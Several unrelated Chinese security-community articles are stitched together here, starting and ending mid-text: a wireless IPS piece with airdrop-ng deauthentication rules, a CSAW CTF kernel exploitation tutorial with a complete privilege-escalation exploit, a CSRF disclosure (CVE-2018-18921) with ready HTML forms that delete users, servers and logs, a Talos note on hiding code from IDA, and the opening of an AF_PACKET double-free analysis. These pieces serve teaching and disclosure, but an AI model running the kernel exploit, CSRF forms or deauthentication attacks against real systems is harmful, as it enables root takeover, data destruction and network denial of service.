DOS：应该是最好用的一种了，不管是攻击还是防御，当攻击者发送取消认证后，客户端会重新进行连接认证，反复取消就可以让Client拒绝服务，根据Airdrop自己写一些规则.
#[comments]
#All lines in this page are commented out
# The # symbol at the front of a line denotes a commented line
#airdrop-ng.py rule configuration file
#a is allow
#d is deny
#format is (a or d)/bssid|(any or client mac or list of client macs in format of mac1,mac2,mac3)
#it is not wise to mix rule types for example
#d/any|00:17:AB:5C:DE:3A,00:1B:63:00:60:C4,apple
#While it may work i have no idea result it will have and at this time is not recommended
#EX d/bssid|mac1,mac2 #note this is not a valid rule just shows format the / and | placement do matter
#MORE EXAMPLE RULES
#d/00:1F:90:CA:0B:74|00:18:41:75:8E:4B
#deny rule with a single client
#d/any|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4
#a deny rule for several clients on any AP
#d/any|any
#a global deny any any rule
#A/00:17:3F:3A:F0:7E|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4
#an allow rule with multiple clients
#D/00-1E-58-00-FF-5E|00:19:7E:9A:66:96
#another deny rule with a different mac format
#d/12:02:DC:02:10:00|any
#a bssid deny any client rule
#a/any|any
#a global allow, no idea why you would wanna use this ;)
#oui examples
#d/any|Apple, Inc;APPLE COMPUTER;APPLE COMPUTER, INC.;Apple Computer Inc.;APPLE COMPUTER INC.;APPLE, INC
#d/any|apple
#d/action|broadcom #kicks only broadcom devices off actiontech routers
#d/00:1F:3C|any #kicks all clients that match that oui
#d/action|00:1F:3C kick any clinets off an actiontec router that match the oui
#d/action|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4 #kick the following clients off an any actiontech router
#d/00:17:3F:3A:F0:7E|apple kick any apple device off that ap
所有规则在外的都被打断，就形成了阻断AP。
随意用什么攻击都行，只要将威胁AP阻断就可以了。
**（2）无线追踪，定位，与取证**
我认为，一个合格的WIPS，一定要有的功能：
1\. 获取分析入侵的无线数据，确立证据。联合绘制的区域热点地图，进行定位，保证出现威胁时，除阻断外，立刻定位到热点位置，追踪其溯源。
2\. 每周或者每天生成一份报告，用统计图及其文字形式报告在这一段时间的威胁，那种攻击最多，那里的私建热点、fake AP 最多等…..
3\. 也有关于无线蜜罐的东西，感觉也可以用一用，SheepWall+WIPS我觉得就挺好的思路，可以帮助取证。
4\. WIPS也要记录其终端型号，像什么IOS，Android…….
****
**（3）关于Snort**
Snort是一个基于签名检测的开源IDS。比较灵活，它能根据你的配置来进行匹配操作，放点无线方面的规则。规则怎么写大家Google一下就行了，它规则挺活的，也挺有意思的。
Snort的Wips配置：
其实Snort只是个轻量级的IPS，还是有很多不足之处。其实Snort+Wellenreiter+Kismet就能组一个简单的IPS，但是我觉得也就是够研究着玩，真正做到严谨点的，还得是专业的WIPS。
**最完美的WIPS功能一览**
**
**
**WIPS适用范围、意见与未来走向**
1.其实WIPS的适用范围更多的应该是：企业、军工、以及现在好多普及热点的无线城市。可大大降低无线网络边界安全隐患。
2.结合内网防御功能，抵挡一些mac Spoofing
和ARP毒化，彻底杜绝安全隐患，在传感器中使用几个无线模块，可同时监控多频段，覆盖多个信道，也不要忘记保护Client的安全。
3.看完就想做的，这东西需要一个传感器，非安全公司自己做，不太可能，得买。
4.很多人觉得WIPS没用，威胁没有那么多，抱个电脑跑来跑去不现实。（有一种渗透叫移动渗透，有一种攻击叫做War Driving）
PS：这是早先我用一个Nexus7刷的NetHunter。或者你想体积更小一点，用Nexus5也可以的，连个OTG，就可以搞了。
5.希望大家重视一下无线网络边界问题，我忘记是从谁的微博上看了，说公司HR对安全部门平常看不到有什么事做，工程师好像当时说要是真到了看的出事的时候，就已经麻烦了。不管是不是段子，安全防御，不要等亡羊补牢。
6.希望以后的WIPS，不仅仅是针对于AP热点。对一切无线网设备都有保护，如ZIgbee/bluetooth等。再给个思路，有条件的自己搭建一个CrackOS，然后把每个员工的Hash去跑一下，设置一些弱密码，然后根据结果让员工去修改。嗯,不错。
7.要想买WIPS的，给老东家打个广告：<http://tianxun.360.cn/>，希望再回去能给个工位，不要钻小屋，看妹子不太方便。
8\. 这是我的微博：<http://weibo.com/u/2232769023>
**传送门**
* * *
[**【技术分享】
企业无线安全解决方案——分析无线攻击行为与制定防御规则安全策略**](http://bobao.360.cn/learning/detail/3613.html) | 社区文章 |
# 【系列分享】Linux 内核漏洞利用教程（三）：实践 CSAW CTF 题目
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
****
作者：[o0xmuhe](http://bobao.360.cn/member/contribute?uid=32403999)
预估稿费：400RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
* * *
**[【系列分享】Linux
内核漏洞利用教程（一）：环境配置](http://bobao.360.cn/learning/detail/3700.html)**
[**【系列分享】Linux 内核漏洞利用教程（二）：两个Demo**
****](http://bobao.360.cn/learning/detail/3702.html)
**
**
**0x00: 前言**
经过前两篇文章的学习，对于linux kernel exploit应该有了一点认识了，那么这次来实践一道古老的CTF题目，来自CSAW CTF
2010的一道kernel
exploit题目。本来整个题目是要求读取flag的(root才能读)，我这里直接提权做的，反正最后都能达到目的。更多的关于linux kernel
exploit相关的资料可以看看这个项目。
**0x01 :漏洞代码**
有漏洞的代码如下：
/*
* csaw.c
* CSAW CTF Challenge Kernel Module
* Jon Oberheide <[email protected]>
*
* This module implements the /proc/csaw interface which can be read
* and written like a normal file. For example:
*
* $ cat /proc/csaw
* Welcome to the CSAW CTF challenge. Best of luck!
* $ echo "Hello World" > /proc/csaw
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#define MAX_LENGTH 64
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module");
static struct proc_dir_entry *csaw_proc;
/*
struct proc_dir_entry {
unsigned short low_ino;
unsigned short namelen;
const char *name;
mode_t mode;
nlink_t nlink;
uid_t uid;
gid_t gid;
unsigned long size;
struct inode_operations * proc_iops;
struct file_operations * proc_fops;
get_info_t *get_info;
struct module *owner;
struct proc_dir_entry *next, *parent, *subdir;
void *data;
read_proc_t *read_proc;
write_proc_t *write_proc;
atomic_t count; //use count
int deleted; //delete flag
kdev_t rdev;
};
*/
int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
char buf[MAX_LENGTH];
printk(KERN_INFO "csaw: called csaw_writen");
/*
* We should be safe to perform this copy from userspace since our
* kernel is compiled with CC_STACKPROTECTOR, which includes a canary
* on the kernel stack to protect against smashing the stack.
*
* While the user could easily DoS the kernel, I don't think they
* should be able to escalate privileges without discovering the
* secret stack canary value.
*/
if (copy_from_user(&buf, ubuf, count)) {
printk(KERN_INFO "csaw: error copying data from userspacen");
return -EFAULT;
}
return count;
}
int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
char buf[MAX_LENGTH];
printk(KERN_INFO "csaw: called csaw_readn");
*eof = 1;
memset(buf, 0, sizeof(buf));
strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!n");
memcpy(page, buf + off, MAX_LENGTH);
return MAX_LENGTH;
}
static int __init
csaw_init(void)
{
printk(KERN_INFO "csaw: loading modulen");
csaw_proc = create_proc_entry("csaw", 0666, NULL);
csaw_proc->read_proc = csaw_read;
csaw_proc->write_proc = csaw_write;
printk(KERN_INFO "csaw: created /proc/csaw entryn");
return 0;
}
static void __exit
csaw_exit(void)
{
if (csaw_proc) {
remove_proc_entry("csaw", csaw_proc);
}
printk(KERN_INFO "csaw: unloading modulen");
}
module_init(csaw_init);
module_exit(csaw_exit);
Makefile如下
obj-m := csaw.o
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
**0x02 : 分析**
首先漏洞点很好找，就是一个简单粗暴的栈溢出：
int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
char buf[MAX_LENGTH];
printk(KERN_INFO "csaw: called csaw_writen");
/*
* We should be safe to perform this copy from userspace since our
* kernel is compiled with CC_STACKPROTECTOR, which includes a canary
* on the kernel stack to protect against smashing the stack.
*
* While the user could easily DoS the kernel, I don't think they
* should be able to escalate privileges without discovering the
* secret stack canary value.
*/
if (copy_from_user(&buf, ubuf, count)) {
printk(KERN_INFO "csaw: error copying data from userspacen");
return -EFAULT;
}
return count;
}
这里，从用户空间做拷贝的时候未作任何check，导致过长的字符串可以覆盖到返回地值，这种情形和我们第二篇文章中遇到的情况一样，那么是不是就按照那个文章做利用就可以了呢？并不是，从注释中看出，出题者是开启了kernel
CANARY选项的，也就是说，我们直接去覆盖的话，会先覆盖CANARY，然后就会过不了check从而kernel panic。
是不是这就没法玩了呢？一般来说，对于CANARY这种情况，我们采取的策略要么是leak，要么就是crack。继续分析代码，看到read部分：
int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
char buf[MAX_LENGTH];
printk(KERN_INFO "csaw: called csaw_readn");
*eof = 1;
memset(buf, 0, sizeof(buf));
strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!n");
//could leak canary here!!!!
memcpy(page, buf + off, MAX_LENGTH);
return MAX_LENGTH;
}
拼接了栈上一个变量，然后拷贝到了用户空间，而且拷贝的长度很长，这就是出题人故意留下的info leak，好让我们可以leak CANARY的值。
那么现在，我们拥有一个info leak，拥有一个stack bof，两者结合，就是第二篇文章中的利用方式了。只需要组合payload为：
junk+CANARY+ebp+payload_addr
我们就可以像之前一样去get root shell啦~
**0x03 : Poc**
poc的代码很简单，直接触发漏洞就可以，但是这种直接就kernel panic的。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int main(int argc,char *argv[]){
int fd = open("/proc/csaw",O_RDWR);
if(!fd){
printf("errorn");
exit(1);
}
char poc[64];
memset(poc,0x41,64);
printf("Triger bug:n");
write(fd,poc,64);
return 0;
}
下面我们写一个dump，可以dump出CANARY的值：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int main(int argc,char *argv[]){
int fd = open("/proc/csaw",O_RDWR);
if(!fd){
printf("errorn");
exit(1);
}
lseek(fd,16,SEEK_CUR);
char buffer[64] = {0};
read(fd,buffer,64);
int i,j;
// memset(buffer,0x41,64);
for(i = 0;i<4;i++){
for(j = 0;j<16;j++){
printf("%02x ",buffer[i*16+j] & 0xff);
}
printf(" | ");
for(j = 0;j<16;j++){
printf("%c",buffer[i*16+j] & 0xff);
}
printf("n");
}
char canary[4] = {0};
memcpy(canary,buffer+32,4);
printf("CANARY:");
for(i = 0;i<4;i++){
printf("%02x",canary[i] & 0xff);
}
printf("n");
return 0;
}
还和之前一样，编译后，丢busybox文件系统，然后qemu起系统，之后测试我们的dump程序是否工作正常：
可以看到，我们的dump程序可以正常dump出CANARY的值，那么下面的工作就很简单了，直接可以利用这个leak，构造payload去拿root
shell了。
**0x04 : Exploit**
**1\. 编写的exploit代码如下：**
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
}__attribute__((packed));
void launch_shell(void)
{
execl("/bin/sh", "sh", NULL);
}
struct trap_frame tf;
void prepare_tf(void)
{
asm("pushl %cs; popl tf+4;"
"pushfl; popl tf+8;"
"pushl %esp; popl tf+12;"
"pushl %ss; popl tf+16;");
tf.eip = &launch_shell;
tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1067fc0;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1067e20;
void payload(void){
//payload here
commit_creds(prepare_kernel_cred(0));
asm("mov $tf,%esp;"
"iret;");
}
int main(int argc,char *argv[]){
int fd = open("/proc/csaw",O_RDWR);
if(!fd){
printf("errorn");
exit(1);
}
lseek(fd,16,SEEK_CUR);
char buffer[64] = {0};
read(fd,buffer,64);
int i,j;
//memset(buffer,0x41,64);
for(i = 0;i<4;i++){
for(j = 0;j<16;j++){
printf("%02x ",buffer[i*16+j] & 0xff);
}
printf(" | ");
for(j = 0;j<16;j++){
printf("%c",buffer[i*16+j] & 0xff);
}
printf("n");
}
char canary[4] = {0};
memcpy(canary,buffer+32,4);
printf("CANARY:");
for(i = 0;i<4;i++){
printf("%02x",canary[i] & 0xff);
}
printf("n");
char poc[84] = {0};
memset(poc,0x41,76);
memcpy(poc+64,canary,4);//set canary
*((void**)(poc+64+4+4)) = &payload;
printf("[*]payload:%sn",poc);
printf("Triger bug:n");
//init tf struct;
prepare_tf();
write(fd,poc,76);
return 0;
}
**1\. 调试exploit**
还是像之前一样，设置gdbserver，并且把csaw.ko这个模块的信息传递给gdb。
先确定模块代码节地址：
这一步之后，gdbserver连接，添加symbol-file之后，对有漏洞的函数下断，就可以回到qemu中，启用exploit程序了。
我们对ret的地方下断点，然后c过去：
查看一下栈顶的情况：
出问题了，并没有要ret到payload地址去。
**2\. 发现问题**
既然已经ret不到payload地址上，那么我们需要往前找一找，单步一下看看栈顶的变化，找出造成这种情况的原因：
直接对这个平衡栈的指令下断，然后c，qemu里再次跑一下exploit程序。
这个时候查看栈顶：
我们的payload是在栈中的，看看执行完了add指令之后的情况：
随着箭头指向，我们可以看到，在执行了三条pop指令后，我们的payload地址会被弹到esi中去，那么后面ret返回的时候，就直接返回到0xc114396c这个地址去了，所以就没有ret到我们的payload去。
**3\. 解决方案**
原因已经找到了，下面说下解决方案，其实也很简单，他有pop，你在后面添加junk字节就好了~
大概把payload结构调整成：
junk + CANARY + ebp + pl_addr + pl_addr + pl_addr
这样的话，总会ret到我们用来提权的代码中去的~
**2\. 最终的exploit如下：**
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
}__attribute__((packed));
void launch_shell(void)
{
execl("/bin/sh", "sh", NULL);
}
struct trap_frame tf;
void prepare_tf(void)
{
asm("pushl %cs; popl tf+4;"
"pushfl; popl tf+8;"
"pushl %esp; popl tf+12;"
"pushl %ss; popl tf+16;");
tf.eip = &launch_shell;
tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1067fc0;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1067e20;
void payload(void){
//payload here
commit_creds(prepare_kernel_cred(0));
asm("mov $tf,%esp;"
"iret;");
}
int main(int argc,char *argv[]){
int fd = open("/proc/csaw",O_RDWR);
if(!fd){
printf("errorn");
exit(1);
}
lseek(fd,16,SEEK_CUR);
char buffer[64] = {0};
read(fd,buffer,64);
int i,j;
//memset(buffer,0x41,64);
for(i = 0;i<4;i++){
for(j = 0;j<16;j++){
printf("%02x ",buffer[i*16+j] & 0xff);
}
printf(" | ");
for(j = 0;j<16;j++){
printf("%c",buffer[i*16+j] & 0xff);
}
printf("n");
}
char canary[4] = {0};
memcpy(canary,buffer+32,4);
printf("CANARY:");
for(i = 0;i<4;i++){
printf("%02x",canary[i] & 0xff);
}
printf("n");
char poc[84] = {0};
memset(poc,0x41,84);
memcpy(poc+64,canary,4);//set canary
*((void**)(poc+64+4+4)) = &payload;
*((void**)(poc+64+4+4+4)) = &payload;
*((void**)(poc+64+4+4+4+4)) = &payload;
printf("[*]payload:%sn",poc);
printf("Triger bug:n");
//init tf struct;
prepare_tf();
write(fd,poc,84);
return 0;
}
**1\. 调试**
编译运行exploit_final，调试查看执行过程：
查看栈顶，发现是我们payload的地址，单步过去查看：
先去执行commit_creds(prepare_kernel_cred(0))，然后我们查看一下伪造的tf结构：
看一下tf.eip指向的函数：
和exploit_final的get shell函数对比一下：
没什么问题，我们直接c过去。
**2\. 添加用户并测试**
添加普通用户muhe，然后测试exploit：
成功拿到root shell。
**0x05 : 参考与引用**
[CSAW CTF 2010 Kernel Exploitation
Challenge](https://jon.oberheide.org/blog/2010/11/02/csaw-ctf-kernel-exploitation-challenge/)
**传送门**
* * *
**[【系列分享】Linux
内核漏洞利用教程（一）：环境配置](http://bobao.360.cn/learning/detail/3700.html)**
[**【系列分享】Linux 内核漏洞利用教程（二）：两个Demo**
****](http://bobao.360.cn/learning/detail/3702.html) | 社区文章 |
原文链接：<https://medium.com/bugbountywriteup/cve-2018-18921-php-server-monitor-3-3-1-cross-site-request-forgery-a73e8dae563>
最近，我花了些空闲时间来审计开源软件，主要看的是一些基于web的软件。
这次我想和大家分享一些我在PHP Server Monitor 3.3.1开源软件中发现的跨站请求伪造(CSRF),希望以后能与大家分享更多。
## 什么是CSRF
跨站点请求伪造是一种恶意技术，通过这种技术，可以从web应用程序信任的用户那里传输未经授权的命令。
因此，如果我们让应用程序的一个用户执行我们之前准备好的payload，我们就能成功利用这个漏洞。
## PHP Server Monitor
PHP Server Monitor
是一个用来监控服务器和网站是否正常运行的脚本，它提供了一个基于web的用户界面，用户可以在此管理用户的服务和网站，也可以使用电话和邮件地址管理每个服务器的用户。
## 如何发现的CSRF漏洞
必须说的是，CSRF漏洞是我审计过程中最后才会去看的漏洞，这个是我偶然发现的。
在第一阶段，当我为了寻找可能利用的跨站脚本攻击(XSS)而审查网页请求返回的参数时，我注意到创建用户和服务器的操作中有一个反CSRF令牌。
当我刚开始观察到它的时候，没怎么考虑这种漏洞，我一直在寻找反射的参数，但后来我看到了以下情况……
哇! ! !删除服务器的按钮操作缺少一个反csrf令牌，而且还可以通过GET请求实现。
这种错误的配置将允许攻击者生成恶意的payload，并且应该用一个URL缩短器来隐藏（谷歌缩短器或者其他类似软件）。
更新到[3.3.2版本](https://github.com/phpservermon/phpservermon/releases/tag/v3.3.2)以解决这个漏洞。
## POC
接下来的图片中，屏幕被分为两个部分，左边是一个管理员用户的界面，右边是攻击者生成先前配置的恶意按钮来执行操作。
### CSRF 1 — 删除用户
#### 方法1
使用谷歌URL缩短器（或其他类似软件）来缩短下面的url（[http://[PATH]/?&mod=user&action=delete&id=[ID]），](http://\[PATH\]/?&mod=user&action=delete&id=\[ID\]），)
以便发送给受攻击方。
#### 方法2
以下面的形式发送给被攻击人：
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[PATH]/">
<input type="hidden" name="mod" value="user" />
<input type="hidden" name="action" value="delete" />
<input type="hidden" name="id" value="[ID]" />
<input type="submit" value="Delete User" />
</form>
</body>
</html>
### CSRF 2 - 删除服务器
#### 方法1
使用谷歌URL缩短器（或其他类似软件）来缩短下面的url（[http://[PATH]/?&mod=server&action=delete&id=[ID]），](http://\[PATH\]/?&mod=server&action=delete&id=\[ID\]），)
以便发送给受攻击方。
#### 方法2
以下面的形式发送给被攻击人：
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[PATH]/">
<input type="hidden" name="mod" value="server" />
<input type="hidden" name="action" value="delete" />
<input type="hidden" name="id" value="[ID]" />
<input type="submit" value="Delete Server" />
</form>
</body>
</html>
### CSRF 3 - 删除所有日志
#### 方法1
使用谷歌URL缩短器（或其他类似软件）来缩短下面的url（[http://[PATH]/?&mod=server_log&action=delete），](http://\[PATH\]/?&mod=server_log&action=delete），)
以便发送给受攻击方。
#### 方法2
以下面的形式发送给被攻击人：
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[PATH]/">
<input type="hidden" name="mod" value="server_log" />
<input type="hidden" name="action" value="delete" />
<input type="submit" value="Delete All Logs" />
</form>
</body>
</html>
## 时间线
30/10/2018 发现和[报告](https://github.com/phpservermon/phpservermon/issues/670)
01/11/2018 [CVE ID](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18921)请求
22/11/2018
[补丁](https://github.com/phpservermon/phpservermon/releases/tag/v3.3.2)
28/11/2018 公布
## 参考
<https://github.com/phpservermon/phpservermon/issues/670>
<https://hackpuntes.com/cve-2018-18921-php-server-monitor-3-3-1-cross-site-request-forgery/>
<https://www.exploit-db.com/exploits/45932> | 社区文章 |
# 【技术分享】反汇编与运行时函数分析
|
##### 译文声明
本文是翻译文章，文章来源：talosintelligence.com
原文地址：<http://blog.talosintelligence.com/2017/10/disassembler-and-runtime-analysis.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：160RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**介绍**
在我们之前针对64位CCleaner的[分析文章](http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html)中，我们跟大家介绍了关于攻击者如何修改一个合法可执行程序（赛门铁克产品）的方法。攻击者所修改的文件名为
**EFACli64.dll** ，修改过程发生在运行时代码之中，更准确地说，攻击者修改的是 **__security_init_cookie()**
函数。攻击者修改了该函数中最后一个指令并成功控制程序跳转到了恶意代码之上。但是，著名的反汇编工具IDA
Pro却没办法正常显示出代码的修改情况，我们在本文中会跟大家介绍这部分信息。最后，我们还会给大家介绍如何来识别这种恶意形式的代码修改操作，以及相应的限制措施。
**
**
**IDA Pro与修改后的运行时代码**
在我们的对修改后的可执行程序的分析过程中，我们在发现IDA Pro在显示修改后的运行时代码（已编译版本）遇到了一些困难，因为IDA
Pro无法使用可视化视图正确地显示已编译版本的运行时代码：
我们可以从上图中看到，最后一条指令为“pop rdi”。如果我们切换到文本视图的话，我们就可以立刻看到，最后一条指令其实应该是“JMP”（跳转到恶意代码）：
我们在对开源反汇编工具Radare2的源代码进行了检查和分析之后，我们发现这个函数的结尾确实是有一个jmp指令：
得到了这些信息之后，我们就开始思考了：为什么IDA Pro没有给我们显示这最后一条指令（这是最重要的一条指令）呢？
由于我们所用的这款软件并不是一款开源软件，因此我们就无法直接去查看程序源代码了。但我们可以假设IDA
Pro使用了pdata数据域来获取从开始到结束的运行时函数，我们待会儿会在下一章节对这部分内容进行介绍。
那么第二个问题就来了：攻击者难道是故意利用这种机制来干扰安全研究人员的分析的吗？攻击者是运气比较好碰巧遇到了这个功能，还是说他们就是专门利用这一技巧来在IDA
Pro中隐藏他们的跳转命令呢？我们现在也无法百分之百地下定论…
**
**
**PDATA数据域**
微软对pdata数据域的描述和介绍可以参考[这篇文章](https://msdn.microsoft.com/fr-fr/library/windows/desktop/ms680547\(v=vs.85\).aspx#the_.pdata_section)。这个数据域中包含一个存储了函数条目的数组，这些函数均是用来处理程序异常的。在我们的测试环境中，pdata数据域中包含以下数据结构：
+0x000: Begin Address: The RVA of the corresponding function.
+0x004: End Address: The RVA of the end of the function.
+0x008: Unwind Information: The RVA of the unwind information.
下面给出的是与我们的__security_init_cookie()函数有关的数据：
+0x000: 0000F620 -> RVA of the beginning of __security_init_cookie()
+0x004: 0000F6D3 -> RVA of the end of __security_init_cookie()
+0x008: 00010464
函数的结尾地址（0xF6D3）位于跳转指令的中间位置，通过修改函数的结尾地址（将原来的0xF6D3修改成了0xF6D7），IDA
Pro就可以正确显示最后一条指令“JMP”了。这也就是我们为什么可以假设IDA Pro使用pdata数据域来检索运行时函数的原因了。
**Python脚本检测异常的运行时代码**
根据我们刚才所发现的信息，我们开发出了一个能够基于pdata数据域来检测异常运行时代码的简单[Python脚本](https://github.com/Cisco-Talos/pdata_check)。这个脚本的实现机制如下：它可以根据pdata数据域以及函数最后一条指令的地址来扫描运行时代码，如果扫描到的指令并不是本脚本所定义的指令（我们的脚本中定义的是validInstructions
= [ "ret", "retn", "jmp", "int3"
]），那么脚本将会提醒用户扫描到了可疑的运行时函数。下面是我们对CCleaner的分析输出：
user@lab:$ ./pdata_check.py sample.exe
{ 'ASM': [ u'mov qword ptr [rsp + 0x18], rbx',
u'push rdi',
u'sub rsp, 0x20',
[...redacted…]
u'mov qword ptr [rip + 0x3ac8], r11',
u'mov rbx, qword ptr [rsp + 0x40]',
u'add rsp, 0x20',
u'pop rdi'],
'StartRaw': '0xea20',
'StartVA': '0x0000f620',
'StopRaw': '0xead3',
'StopVA': '0x0000f6d3',
'end': 'KO',
'lastASM': u'pop rdi'}
从上面给出的输出结果中我们可以看到，地址0x0000f620的运行时函数是以一个“pop”指令结束的，这就非常可疑了。
**
**
**限制**
本文所介绍的这种特殊的对抗反编译技术的方法其实并不是一种完美的解决方案，我们用这种方法对大量拥有pdata数据域的64位测试样本集以及很多的合法代码进行了测试和分析，并且测试结果的假阳性非常不理想。除此之外，攻击者可以通过向pdata数据域中引入额外的字节数据来干扰我们的分析。在本文所讨论的分析场景中，我们没有发现任何的异常，而且IDA
Pro还可以在可视化视图中正确显示额外的操作代码。我们认为，虽然本文所设计的方法并不完美，但这种方法对于恶意软件分析人员来说，也许可以给他们提供一种额外的代码分析工具、方法或思路。
**
**
**总结**
对于从事恶意软件分析的研究人员而言，想要对那些已被非法修改的合法代码进行安全分析，其实是一个非常巨大的挑战。近些年来，针对产品供应链的攻击事件也层出不穷，即便是你向厂商申请获取“看似合法”的原始代码，你拿到手上的也不一定真的是安全的源代码。当一个合法的应用程序遭到入侵之后，恶意Payload可以隐藏在合法代码的“海洋”之中，想要找到这些恶意Payload就如同大海捞针一样。在本文所讨论的特殊场景中，分析人员还会遇到额外的挑战：即IDA
Pro的输出信息并不是完全可信的。我们并不清楚这是攻击者故意用来扰乱分析人员的，还是说只是我们碰巧遇到这个“Bug”，但无论怎样，这种技术会让分析人员一不小心就漏掉了影响严重的恶意代码。我们所提供的这个脚本可以帮助安全分析人员识别可疑的运行时函数，但是对于更普遍的场景而言，我们的技术就不一定能够完美适用了，但这毕竟也是一种新的工具和分析恶意代码的思路。 | 社区文章 |
**作者： knaithe@天玄安全实验室
原文链接：<https://mp.weixin.qq.com/s/gu6O-ZSIiVpNJP1I9O94wQ>**
> **漏洞描述**
> ：漏洞位于/net/packet/af_packet.c文件，rx_owner_map引用了pg_vec，切换到TPACKET_V3协议版本中，在packet_set_ring()函数的末尾，对pg_vec释放了一次，并未对rx_owner_map指针置为NULL，导致rx_owner_map成为悬空指针，直到从TPACKET_V3协议版本切换到TPACKET_V2协议版本后，在次到达packet_set_ring()函数的末尾，bitmap_free()函数对rx_owner_map指针进行释放，触发double
> free漏洞。
>
> **影响版本** ：Linux Kernel v5.8.0 - v5.15.0
>
> **测试版本** ：Linux #5.13.0
>
> **保护机制** ：SMEP/SMAP/KASLR/KPTI
## 1.漏洞分析
### 1.1.AF_PACKET套接字协议族
**协议简介：**
AF_PACKET是原始套接字协议，是一种特殊的套接字协议，可以是数据链路层原始套接字，也可以是网络层原始套接字。如果是数据链路层原始套接字，可以直接发送和接收位于数据链路层的以太帧，比如Ethernet
II协议，如果是网络层原始套接字，就只能发送和接收位于网络层的数据报文，比如IP协议。
**快速使用：** 我们这里可以通过如下函数快速的创建一个 AF_PACKET协议的原始套接字：
socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
通过setsockopt就可以设置该套接字相关操作，比如设置当前AF_PACKET套接字协议版本为TPACKET_V3：
int version = TPACKET_V3;
setsockopt(s, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));
创建ring buffer：
struct tpacket_req3 req3;
memset(&req3, 0, sizeof(req3));
req3.tp_block_size = block_size;
req3.tp_block_nr = block_nr;
req3.tp_frame_size = frame_size;
req3.tp_frame_nr = frame_nr;
req3.tp_retire_blk_tov = retire_blk_tov;
req3.tp_sizeof_priv = 0;
req3.tp_feature_req_word = 0;
setsockopt(recv_fd, SOL_PACKET, PACKET_RX_RING, &req3, sizeof(req3));
### 1.2.漏洞触发
**触发过程详解：**
1. 首先调用socket函数创建AF_PACKET套接字。
2. 然后调用setsockopt设置协议版本为TPACKET_V3。
3. 接着调用setsockopt设置RX_RING，正常给tpacket_req3配置参数，在执行packet_set_ring()函数过程中，pg_vec指向alloc_pg_vec()函数分配的内存，并且调用init_prb_bdqc函数，导致pg_vec被sock->rx_ring->prb_bdqc->pkbdq引用，然后调用swap函数将pg_vec和sock->rx_ring->pg_vec交换，函数最后pg_vec指向NULL，没有调用free。
4. 再次调用setsockopt设置RX_RING，将tpacket_req3参数的tp_block_nr和tp_frame_nr字段设置为0，然后调用swap函数将pg_vec和sock->rx_ring->pg_vec交换，此时sock->rx_ring->pg_vec为NULL，pg_vec指向上一步骤分配的内存，函数结尾调用free_pg_vec()释放pg_vec，此时packet_ring_buffer->prb_bdqc->pkbdq成为悬空指针。
5. 到此才可以再次调用setsockopt设置协议版本为TPACKET_V2，sock->rx_ring->pg_vec为NULL，所以该套接字切换协议TPACKET_V2成功。
6. 最后调用setsockopt设置RX_RING，此时tpacket_req参数的tp_block_nr字段必须为0，再次进入packet_set_ring()函数，由于已经是TPACKET_V2协议，所以调用了swap函数交换了rx_owner_map和sock->rx_ring->rx_owner_map，由于packet_ring_buffer结构体的rx_owner_map成员和tpacket_kbdq_core成员属于联合体，所以sock->rx_ring->rx_owner_map和sock->rx_ring->prb_bdqc->pkbdq的值相同，在第4步骤packet_ring_buffer->prb_bdqc->pkbdq成为悬空指针，所以在函数结尾调用bitmap_free(rx_owner_map)，等同于free掉sock->rx_ring->prb_bdqc->pkbdq这个悬空指针，造成double free。
/net/packet/af_packet.c
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
int closing, int tx_ring)
{
struct pgv *pg_vec = NULL;
